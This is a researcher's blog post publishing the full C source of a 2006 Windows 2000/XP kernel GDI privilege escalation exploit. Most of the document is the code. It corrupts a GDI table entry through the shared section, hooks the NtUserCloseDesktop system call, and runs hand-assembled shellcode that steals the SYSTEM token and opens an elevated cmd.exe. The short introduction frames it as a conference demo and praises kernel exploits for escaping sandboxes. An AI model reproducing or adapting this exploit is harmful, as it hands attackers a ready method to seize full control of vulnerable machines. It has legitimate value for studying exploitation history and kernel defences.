Found another one of my old exploits. This one a Windows kernel exploit from 2006. :)
This also happens to be one of the exploits I demonstrated (but did not release) at BlackHat and DefCon in 2007, in our Kernel Wars talk. It was actually still unpatched when demonstrating it at BlackHat Europe, even though Microsoft had known about it (but did not think it was exploitable) since 2004. More information about that, and a couple of screenshots, can be found at kernelwars.blogspot.com.
In the demonstration I combined it with an exploit for another 0day we had in Office XP / Microsoft Word, to show the real impact of a privilege escalation exploit such as this one. Nowadays, kernel exploits are probably the most convenient way to break out of browser sandboxes such as the one used in Google Chrome, and of course to enable execution of unsigned code in iOS-based devices such as the iPhone and the iPad. Another nice thing about kernel vulnerabilities is that there are usually far fewer exploit mitigation mechanisms in the kernel than in userspace. ;)
gdixpl.c:
/* * Microsoft Windows kernel GDI local privilege escalation exploit. * * More info about the bug can be found at the following URL: * http://kernelfun.blogspot.com/2006/11/mokb-06-11-2006-microsoft-windows.html * * Compile in Cygwin with: * gcc -o gdixpl gdixpl.c -lntdll -lgdi32 -mno-cygwin * * Copyright (C) Joel Eriksson2006 */ #include #include #include #include typedef ULONG NTSTATUS; #define NT_SUCCESS(x) ((x)>=0) typedef struct __attribute__((packed)) { DWORD pKernelInfo; WORD wProcess; WORD wCount; WORD wUpper; WORD wType; DWORD pUserInfo; } GDITableEntry; /* sizeof(GDITableEntry) == 16 */ #define MAX_GDI_HANDLE ((HANDLE) 0x10000) #define BRUSH_TYPE 16 #define MAKE_DC(Upper, Index) ((((DWORD) Upper) << 16) | Index) #define W2K_PID_SYSTEM 8 #define W2K_OFF_PID 0x9c #define W2K_OFF_FLINK 0xa0 #define W2K_OFF_TOKEN 0x12c #define W2K_SYS_NtGdiDeleteObjectApp 0x1075 #define W2K_SYS_NtUserCloseDesktop 0x1142 #define W2K_MAX_GDI_TABLE_ENTRIES 0x4000 #define WXP_PID_SYSTEM 4 #define WXP_OFF_PID 0x84 #define WXP_OFF_FLINK 0x88 #define WXP_OFF_TOKEN 0xc8 #define WXP_SYS_NtGdiDeleteObjectApp 0x107a #define WXP_SYS_NtUserCloseDesktop 0x114c #define WXP_MAX_GDI_TABLE_ENTRIES 0x10000 static DWORD GetW32pServiceTableAddr(DWORD dwOff, DWORD *pdwOrigSysCall); typedef struct _SECTION_BASIC_INFORMATION { ULONG d000; ULONG SectionAttributes; LARGE_INTEGER SectionSize; } SECTION_BASIC_INFORMATION; NTSTATUS WINAPI NtQuerySystemInformation( DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); NTSTATUS WINAPI NtQuerySection( HANDLE SectionHandle, DWORD SectionInformationClass, PVOID SectionInformation, ULONG SectionInformationLength, PULONG ResultLength ); NTSTATUS NTAPI NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect ); static DWORD DoSysCall(DWORD dwSysCall, DWORD dwArg) { __asm__( "push %1\n\t" "mov %%esp,%%edx\n\t" "mov %0,%%eax\n\t" "int $0x2e\n\t" "add $4,%%esp" : : "m"(dwSysCall), "m"(dwArg) : "eax", "edx" ); } static BOOL GetOS(PDWORD pdwMajor, PDWORD pdwMinor) { OSVERSIONINFO os; memset(&os, '\0', sizeof(os)); os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (! GetVersionEx((OSVERSIONINFO *) &os)) return FALSE; *pdwMajor = os.dwMajorVersion; *pdwMinor = os.dwMinorVersion; return TRUE; } int main(int argc, char **argv) { /* * Code to copy the access token from the * System-process to the exploit process. */ char code_payload[] = "\x64" /* mov eax, */ "\xa1\x24\x01\x00\x00" /* [fs:OFF_ETHREAD] */ "\x8b\x40\x44" /* mov eax, [eax+OFF_EPROCESS] */ "\x89\xc1" /* mov ecx, eax */ "\x8b\x80" "XXXX" /* mov eax, [eax+OFF_FLINK] */ "\x2d" "XXXX" /* sub eax, OFF_FLINK */ "\x81\xb8" /* cmp */ "XXXX" /* dword [eax+OFF_PID], */ "XXXX" /* SYSTEM_PID */ "\x75\xe9" /* jnz FindSystemProcess */ "\x8b\x90" "XXXX" /* mov edx, [eax+OFF_TOKEN] */ "\x8b\x81" "XXXX" /* mov eax, [ecx+OFF_TOKEN] */ "\x89\x91" "XXXX" /* mov [ecx+OFF_TOKEN], edx */ "\xc3" /* ret */ ; /* * Code to restore the original process token and the * original value of the overwritten system call. */ char code_restore[] = "\x64" /* mov eax, */ "\xa1\x24\x01\x00\x00" /* [fs:OFF_ETHREAD] */ "\x8b\x40\x44" /* mov eax, [eax+OFF_EPROCESS] */ "\x8b\x4c\x24\x04" /* mov ecx, [esp+4] */ "\x8b\x11" /* mov edx, [ecx] */ "\x89\x90" "XXXX" /* mov [eax+OFF_TOKEN], edx */ "\x8b\x41\x04" /* mov eax, [ecx+4] */ "\x8b\x51\x08" /* mov edx, [ecx+8] */ "\x89\x10" /* mov [eax], edx */ "\xc3" /* ret */ ; DWORD SYS_NtGdiDeleteObjectApp, SYS_NtUserCloseDesktop; DWORD FakeObj[64], dwW32pServiceTable, dwSysCallAddr; SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; DWORD dwMaxGdiTableEntries, dwMinGdiTableSize; DWORD dwMajor, dwMinor, dwOrigKernelInfo; DWORD pid, i, dwOldToken, dwDC, dwAddr; DWORD dwOrigSysCall, pdwArgs[4]; SECTION_BASIC_INFORMATION sec; CHAR szUserName[1024]; LPVOID lpAddr = NULL; GDITableEntry *pGDI; WORD wIdx, wUpr; ULONG ulSize; HANDLE hMap; NTSTATUS rc; HANDLE hBR; CHAR *mem; if (! GetOS(&dwMajor, &dwMinor)) { fprintf(stderr, "Could not determine OS version.\n"); return 1; } if (dwMajor != 5 || dwMinor > 1) { fprintf(stderr, "This exploit is only for W2K and WXP.\n"); return 2; } if (dwMinor == 0) { SYS_NtGdiDeleteObjectApp = W2K_SYS_NtGdiDeleteObjectApp; SYS_NtUserCloseDesktop = W2K_SYS_NtUserCloseDesktop; dwMaxGdiTableEntries = W2K_MAX_GDI_TABLE_ENTRIES; *((PDWORD) &code_payload[13]) = W2K_OFF_FLINK; *((PDWORD) &code_payload[18]) = W2K_OFF_FLINK; *((PDWORD) &code_payload[24]) = W2K_OFF_PID; *((PDWORD) &code_payload[28]) = W2K_PID_SYSTEM; *((PDWORD) &code_payload[36]) = W2K_OFF_TOKEN; *((PDWORD) &code_payload[42]) = W2K_OFF_TOKEN; *((PDWORD) &code_payload[48]) = W2K_OFF_TOKEN; *((PDWORD) &code_restore[17]) = W2K_OFF_TOKEN; } else { SYS_NtGdiDeleteObjectApp = WXP_SYS_NtGdiDeleteObjectApp; SYS_NtUserCloseDesktop = WXP_SYS_NtUserCloseDesktop; dwMaxGdiTableEntries = WXP_MAX_GDI_TABLE_ENTRIES; *((PDWORD) &code_payload[13]) = WXP_OFF_FLINK; *((PDWORD) &code_payload[18]) = WXP_OFF_FLINK; *((PDWORD) &code_payload[24]) = WXP_OFF_PID; *((PDWORD) &code_payload[28]) = WXP_PID_SYSTEM; *((PDWORD) &code_payload[36]) = WXP_OFF_TOKEN; *((PDWORD) &code_payload[42]) = WXP_OFF_TOKEN; *((PDWORD) &code_payload[48]) = WXP_OFF_TOKEN; *((PDWORD) &code_restore[17]) = WXP_OFF_TOKEN; } dwMinGdiTableSize = dwMaxGdiTableEntries * sizeof(GDITableEntry); /* * Determine address to write to. */ fprintf(stderr, "[*] Determining addresses.\n"); dwW32pServiceTable = GetW32pServiceTableAddr( SYS_NtUserCloseDesktop, &dwOrigSysCall ); if (dwW32pServiceTable == 0) { fprintf( stderr, "Could not determine W32pServiceTable address.\n" ); return 3; } dwSysCallAddr = dwW32pServiceTable + (SYS_NtUserCloseDesktop - 0x1000) * 4; fprintf( stderr, "[*] W32pServiceTable : 0x%X\n", (UINT) dwW32pServiceTable ); fprintf( stderr, "[*] &NtUserCloseDesktop : 0x%X\n", (UINT) dwSysCallAddr ); fprintf( stderr, "[*] *0x%08X : 0x%X\n", (UINT) dwSysCallAddr, (UINT) dwOrigSysCall ); /* * Place shellcode @ 0x00000002 */ fprintf(stderr, "[*] Allocating space for shellcode.\n"); pid = GetCurrentProcessId(); dwAddr = 1; ulSize = 0x1000; rc = NtAllocateVirtualMemory( (HANDLE) -1, (PVOID) &dwAddr, 0, &ulSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (! NT_SUCCESS(rc)) { fprintf( stderr, "NtAllocateVirtualMemory() failed. (%d)\n", (int) GetLastError() ); } mem = (CHAR *) 0; memcpy(&mem[2], code_payload, sizeof(code_payload)-1); fprintf(stderr, "[*] Shellcode written to 0x%08X\n", (int) &mem[2]); /* * Must create a GDI object before being able to map the GDI section. */ hBR = CreateSolidBrush(0); wIdx = (WORD) (((DWORD) hBR) & 0xffff); wUpr = (WORD) (((DWORD) hBR) >> 16); /* * Bruteforce the GDI section handle. */ fprintf(stderr, "[*] Bruteforcing the GDI section handle.\n"); for (hMap = (HANDLE) 0; hMap < MAX_GDI_HANDLE; hMap++) { if (lpAddr != NULL) CloseHandle(hMap); lpAddr = MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, 0); if (lpAddr == NULL) continue; rc = NtQuerySection(hMap, 0, &sec, sizeof(sec), 0); if (! NT_SUCCESS(rc)) { fprintf(stderr, "NtQuerySection() failed.\n"); continue; } if (sec.SectionSize.QuadPart < dwMinGdiTableSize) continue; pGDI = (GDITableEntry *) lpAddr; /* * Determine if it's the real GDI section by checking if the * DC handle to the window we created exists and have the * correct values. */ if (pGDI[wIdx].wProcess == pid && pGDI[wIdx].wUpper == wUpr && pGDI[wIdx].wType == BRUSH_TYPE) break; } if (hMap == MAX_GDI_HANDLE) { fprintf(stderr, "GDI section not found!\n"); VirtualFree(mem, 0x1000, MEM_DECOMMIT); return 5; } fprintf( stderr, "[*] Writable GDI section mapped @ 0x%X\n", (UINT) lpAddr ); /* * Make the fake kernelspace brush object. */ memset(FakeObj, '\0', sizeof(FakeObj)); FakeObj[1] = 0xbadc0ded; FakeObj[2] = 1; i = wIdx; /* * Use our brush-object to achieve an overwrite of the address * specified in FakeObj[9] with the value 2. */ FakeObj[0] = dwDC = MAKE_DC(pGDI[i].wUpper, i); /* * Save the original pKernelInfo pointer. */ dwOrigKernelInfo = pGDI[i].pKernelInfo; pGDI[i].pKernelInfo = (DWORD) FakeObj; /* * Temporarily change the pKernelInfo pointer and trigger calls * to bDeleteBrush() by calling NtGdiDeleteObjectApp(), which * will write 0x00000002 to the address specified in FakeObj[9]. */ fprintf( stderr, "[*] Triggering write with 0x00000002 to 0x%08X\n", (UINT) dwSysCallAddr ); FakeObj[9] = dwSysCallAddr; DoSysCall(SYS_NtGdiDeleteObjectApp, dwDC); /* * Restore the original pKernelInfo pointer. */ pGDI[i].pKernelInfo = dwOrigKernelInfo; fprintf(stderr, "[*] NtUserCloseDesktop() hooked!\n"); printf("[*] Calling NtUserCloseDesktop() to execute our shellcode.\n"); dwOldToken = DoSysCall(SYS_NtUserCloseDesktop, 0); printf("[*] Return value = 0x%X\n", (int) dwOldToken); fprintf(stderr, "[*] Executing cmd.exe.\n"); ShellExecute(NULL, "open", "cmd", NULL, ".", SW_SHOWNORMAL); memcpy(&mem[2], code_restore, sizeof(code_restore)-1); fprintf(stderr, "[*] Restore code written to 0x%08x.\n", (int) &mem[2]); pdwArgs[0] = dwOldToken; pdwArgs[1] = dwSysCallAddr; pdwArgs[2] = dwOrigSysCall; fprintf(stderr, "[*] Restoring token and syscalls.\n"); DoSysCall(SYS_NtUserCloseDesktop, (DWORD) pdwArgs); CloseHandle(hMap); VirtualFree(mem, 0x1000, MEM_DECOMMIT); return 0; } static DWORD GetW32pServiceTableAddr(DWORD dwSysCall, DWORD *pdwOrigSysCall) { DWORD dwTextMin, dwTextMax, dwFileSize, dwSize, dwAddr, dwIAT; DWORD dwDataMin, dwDataMax, dwDataSize; DWORD dwInitMin, dwInitMax, dwInitSize; TCHAR lpDir[256], lpFileName[256]; DWORD dwW32pServiceTableAddr; PIMAGE_IMPORT_DESCRIPTOR pid; PIMAGE_OPTIONAL_HEADER poh; PIMAGE_SECTION_HEADER psh; PIMAGE_FILE_HEADER pfh; PDWORD pdwSysCallTable; PIMAGE_THUNK_DATA ptd; PIMAGE_DOS_HEADER pdh; PIMAGE_NT_HEADERS pnh; PBYTE pInit, pData; HANDLE hFile, hMap; DWORD rc, i, j; PBYTE p, pMap; rc = GetEnvironmentVariable("SystemRoot", lpDir, sizeof(lpDir)); if (rc == 0) { fprintf( stderr, "GetEnvironmentVariable() failed. (%d)\n", (int) GetLastError() ); return 0; } memset(lpFileName, '\0', sizeof(lpFileName)); snprintf( lpFileName, sizeof(lpFileName), "%s\\SYSTEM32\\WIN32K.SYS", lpDir ); hFile = CreateFile( lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile == INVALID_HANDLE_VALUE) { fprintf( stderr, "CreateFile() failed. (%d)\n", (int) GetLastError() ); return 0; } dwFileSize = GetFileSize(hFile, NULL); if (dwFileSize == INVALID_FILE_SIZE) { fprintf( stderr, "GetFileSize() failed. (%d)\n", (int) GetLastError() ); CloseHandle(hFile); return 0; } hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (hMap == NULL) { fprintf( stderr, "CreateFileMapping() failed. (%d)\n", (int) GetLastError() ); CloseHandle(hFile); return 0; } pMap = (LPVOID) MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); if (pMap == NULL) { fprintf( stderr, "MapViewOfFile() failed. (%d)\n", (int) GetLastError() ); CloseHandle(hMap); CloseHandle(hFile); return 0; } pdh = (PIMAGE_DOS_HEADER) pMap; if (pdh->e_magic != IMAGE_DOS_SIGNATURE) { fprintf(stderr, "Invalid DOS signature in PE-file.\n"); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } pnh = (PIMAGE_NT_HEADERS) &pMap[pdh->e_lfanew]; if (pnh->Signature != IMAGE_NT_SIGNATURE) { fprintf(stderr, "Invalid NT signature in PE-file.\n"); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } pfh = (PIMAGE_FILE_HEADER) &pMap[pdh->e_lfanew + sizeof(IMAGE_NT_SIGNATURE)]; poh = (PIMAGE_OPTIONAL_HEADER) ((PBYTE) pfh + sizeof(IMAGE_FILE_HEADER)); dwAddr = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] .VirtualAddress; pid = (PIMAGE_IMPORT_DESCRIPTOR) &pMap[dwAddr]; dwSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; for (i = 0; i < dwSize / sizeof(pid[0]); i++) { if (pid[i].Name != 0) { ptd = (PIMAGE_THUNK_DATA) &pMap[pid[i].FirstThunk]; for (j = 0; ptd[j].u1.AddressOfData; j++) { DWORD x = ptd[j].u1.AddressOfData + 2; if (! strcmp( &pMap[x], "KeAddSystemServiceTable" )) break; } if (ptd[j].u1.AddressOfData != 0) break; } } if (i == dwSize / sizeof(pid[0])) { fprintf(stderr, "Could not find IAT-entry.\n"); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } dwIAT = poh->ImageBase; dwIAT += pid[i].FirstThunk; dwIAT += j * sizeof(ptd[0]); psh = (PIMAGE_SECTION_HEADER) ((PBYTE) poh + sizeof(IMAGE_OPTIONAL_HEADER)); for (i = j = 0; i < pfh->NumberOfSections && j < 3; i++) { if (! strcmp(psh[i].Name, ".text")) { dwTextMin = poh->ImageBase + psh[i].VirtualAddress; dwTextMax = dwTextMin + psh[i].SizeOfRawData; j++; } if (! strcmp(psh[i].Name, "INIT")) { dwInitMin = poh->ImageBase + psh[i].VirtualAddress; dwInitMax = dwInitMin + psh[i].SizeOfRawData; pInit = &pMap[psh[i].PointerToRawData]; dwInitSize = psh[i].SizeOfRawData; j++; } if (! strcmp(psh[i].Name, ".data")) { dwDataMin = poh->ImageBase + psh[i].VirtualAddress; dwDataMax = dwDataMin + psh[i].SizeOfRawData; pData = &pMap[psh[i].PointerToRawData]; dwDataSize = psh[i].SizeOfRawData; j++; } } if (j != 3) { fprintf(stderr, "Could not locate .data and .text.\n"); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } /* Find the call to KeAddSystemServiceTable */ for (p = pInit; p < &pInit[dwInitSize-6]; p++) if (p[0] == 0xFF && p[1] == 0x15) { DWORD x = *((PDWORD) &p[2]); if (x == dwIAT) break; } if (p == &pInit[dwInitSize-6]) { fprintf( stderr, "Could not find call to KeAddSystemServiceTable.\n" ); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } /* Find the push of W32pServiceTable */ dwW32pServiceTableAddr = 0; p -= 5; while (p > pInit) { if (p[0] == 0x68) { DWORD x = *((PDWORD) &p[1]); if (x >= dwDataMin && x <= dwDataMax) { dwW32pServiceTableAddr = x; break; } } } if (dwW32pServiceTableAddr == 0) { fprintf( stderr, "Could not find push of W32pServiceTableAddr.\n" ); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } pdwSysCallTable = (PDWORD) &pMap[dwW32pServiceTableAddr - poh->ImageBase]; *pdwOrigSysCall = pdwSysCallTable[dwSysCall-0x1000]; UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return dwW32pServiceTableAddr; }